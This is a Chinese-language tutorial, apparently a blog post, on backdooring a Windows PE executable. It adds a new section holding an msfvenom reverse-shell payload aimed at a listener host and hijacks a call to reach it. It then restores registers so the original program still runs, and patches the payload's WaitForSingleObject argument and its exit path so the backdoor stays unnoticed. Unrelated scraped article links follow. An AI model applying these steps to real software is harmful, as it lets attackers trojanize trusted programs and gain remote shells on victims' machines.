在不影响程序使用的情况下添加shellcode
参考
在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。
示例程序代码
这里直接编译一个32位的HelloWorld程序为例:
#include <stdio.h>
int main()
{
puts("Hello World!");
return 0;
}
编译后的exe,可以使用CFF Explorer
查看相关信息。
大致步骤
少绕弯子,补充一下通用步骤:
- 利用msf生成一个payload,保存成一个bin文件,命令:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
- 通过010Editor等编辑工具在bin文件的前后各插入20-40个字节,以90填充
- 在目标exe中添加一个新的代码段,将bin的内容导入,并设置可读、可写、可执行、包含代码等属性标志
- 更新header大小以及重建PE头
- 使用x32dbg调试exe并查看新加代码段的基址,例如是
0x004A0000
- 一个5字节长度的指令,例如:
call 0x00471B50
,覆盖成jmp 0x004A0000
- 记住下一条指令的位置,例如:
0x00491EF8
,后面恢复程序正常逻辑的时候要用 - 编辑代码段开头,用
pushad
和pushfd
指令覆盖开头2个字节 - 调试exe,观察
pushfd
之后的ESP
值,例如0x010FFDBC
,以及shellcode执行结束时ESP
值,例如0x010FFBB8
,发现少了0x204
- 为了能够恢复之前的寄存器状态,在shellcode最后追加指令
add esp, 0x204
- 追加
popfd
和popad
指令,和push
顺序相反 - 将第6步中覆盖前的指令追加到
popad
之后 - 最后,恢复之前的运行逻辑,追加
jmp 0x00491EF8
指令,跳到第7步记录位置
问题1:到12和13步总是不能跳到正确的位置
注意三点:
- 第6步和第7步获取的值要保证当前调试的PE头大小是和最终的PE头大小是一致的,检查第4步操作
- 每次调试exe的时候,基址可能会发生变化,所以复制的指令只能用于修改当前调式实例
- 在复制jmp指令的机器码的时候,注意不要和目标跳转位置太近,会复制成短地址的指令
问题2:保证步骤没问题之后,程序仍然不能恢复正常逻辑
通过调试将发生阻塞的操作进行nop,例如WaitForSingleObject
,msf
的payload需要将4e 56 46 ff
替换成80 56 80 ff
原来给WaitForSingleObject
传的参数是-1
,会阻塞线程,想办法改成0就行,这里将dec esi
操作nop
掉了,push esi
就是0
问题3:在监听端失联的情况下,程序长时间阻塞后程序终止
应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可
问题4:在哪找代码段的基址
除了参考文章中提到的通过文件偏移计算,还可以直接利用x32dbg的内存布局直接查看
最后效果
省略。。。
在不影响程序使用的情况下添加shellcode的更多相关文章
- Entity framework 意外删除了表,如何在不影响其它表的情况下恢复回来
关于EntityFramework数据迁移原理 查询数据库的表"__MigrationHistory",遍历代码库的Migrations文件夹下的所有文件,如果文件不在__Migr ...
- Linux不重启的情况下添加硬盘
众所周知,SATA和SCSI是支持热插拔的,但是新装了这类支持热插拔的驱动器,系统不会马上识别的,往往我们需要重启系统来识别,但是有另外一种方法可以很方面的让系统识别新的设备.作为系统管理员,需要了解 ...
- 该扩展程序未列在 Chrome 网上应用店中,并可能是在您不知情的情况下添加的
"chrome扩展程序无法启用"的解决方案 http://www.cnplugins.com/tool/installpluginfix.html win10家庭版没有组策略怎么办? https:// ...
- java 23种设计模式,一般情况下,常用的有哪些? 转载
原址:http://wangle.iteye.com/blog/196972 工厂模式, 工厂方法模式,单例模式, 外观(Facade)模式, 观察者(Observer)模式,桥接(Bridge)模式 ...
- mysql大表在不停机的情况下增加字段该怎么处理
MySQL中给一张千万甚至更大量级的表添加字段一直是比较头疼的问题,遇到此情况通常该如果处理?本文通过常见的三种场景进行案例说明. 1. 环境准备 数据库版本: 5.7.25-28(Percona 分 ...
- CentOS系统在不重启的情况下为虚拟机添加新硬盘
一.概述 用过虚拟机的都知道,如果在系统运行的时候去给虚拟机添加一块新设备,比如说硬盘,系统是读取不到这个新硬盘的,因为系统在启动的时候会去检测硬件设备.但是我们也可能会遇到这样的情况,比如正在运行比 ...
- 怎样在不对控件类型进行硬编码的情况下在 C#vs 中动态添加控件
文章ID: 815780 最近更新: 2004-1-12 这篇文章中的信息适用于: Microsoft Visual C# .NET 2003 标准版 Microsoft Visual C# .NET ...
- 转载:ubuntu 下添加简单的开机自启动脚本
转自:https://www.cnblogs.com/downey-blog/p/10473939.html linux下添加简单的开机自启动脚本 在linux的使用过程中,我们经常会碰到需要将某个自 ...
- 编写高质量代码改善C#程序的157个建议:第17个建议之多数情况下使用foreach进行循环遍历
今天是我看<编写高质量代码:改善C#程序的157个建议>第二遍的时候了,看完这本书的确是受益匪浅,学到了很多东西,也明白了很多道理. 里面的代码我每个都调试了一遍,有时候是有些出入的,可能 ...
随机推荐
- 我们通常这样使用Linux弱口令检测!
在Internet环境中,过于简单的口令是服务器面临的最大风险,对于管理员来说,即使找出这些弱口令账号是非常必要的,这样便于采取进一步的安全措施. 这里的话,弱口令检测需要用到一款密码破译软件--Jo ...
- springMVC -- 对接UEditor(富文本编辑器)
工作中需要用到UEditor编辑文本,在与springMVC进行整合时,出现了一些问题,结果导致,在进行图片上传时出现如下提示: 上网查询了很多相关资料,此处简要记录下,防止以后遇到类似问题. 一种方 ...
- java基础(九)--方法重载
如System.out.println()方法即是方法重载的. 以下举例说明自定义sum()方法的重载 package cnblogs; public class TestBase09MathRelo ...
- PHPSTORM断点调试配置
一.安装Xdebug xdebug官方提供了一个非常友好的安装指导: https://xdebug.org/wizard.php 打开上面的网站,将你的phpinfo页面输出的内容复制到表单中,然后点 ...
- Centos 7 下安装PHP7.2(与Apache搭配的安装方式)
(1)源码包下载 百度云下载地址:https://pan.baidu.com/s/1xH7aiGYaX62wij4ul5P-ZQ 提取码:m9zc (2)安装php依赖组件: yum -y insta ...
- 机器学习笔记簿 降维篇 LDA 01
机器学习中包含了两种相对应的学习类型:无监督学习和监督学习.无监督学习指的是让机器只从数据出发,挖掘数据本身的特性,对数据进行处理,PCA就属于无监督学习,因为它只根据数据自身来构造投影矩阵.而监督学 ...
- PDOStatement::fetch
PDOStatement::fetch — 从结果集中获取下一行(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0) 说明 语法 mixed PDOStatement:: ...
- 环境篇:数据同步工具DataX
环境篇:数据同步工具DataX 1 概述 https://github.com/alibaba/DataX DataX是什么? DataX 是阿里巴巴集团内被广泛使用的离线数据同步工具/平台,实现包括 ...
- CF R 630 div2 1332 F Independent Set
LINK:Independent Set 题目定义了 独立集和边诱导子图.然而和题目没有多少关系. 给出一棵树 求\(\sum_{E'\neq \varnothing,E'\subset E}w(G( ...
- 如何让img自动适应div容器大小
IMG样式 (横向拉伸,纵向自动匹配大小) width:100%; height:auto; (纵向拉伸,横向自动匹配大小) width:auto; height:100%; DIV样式(元素居中显示 ...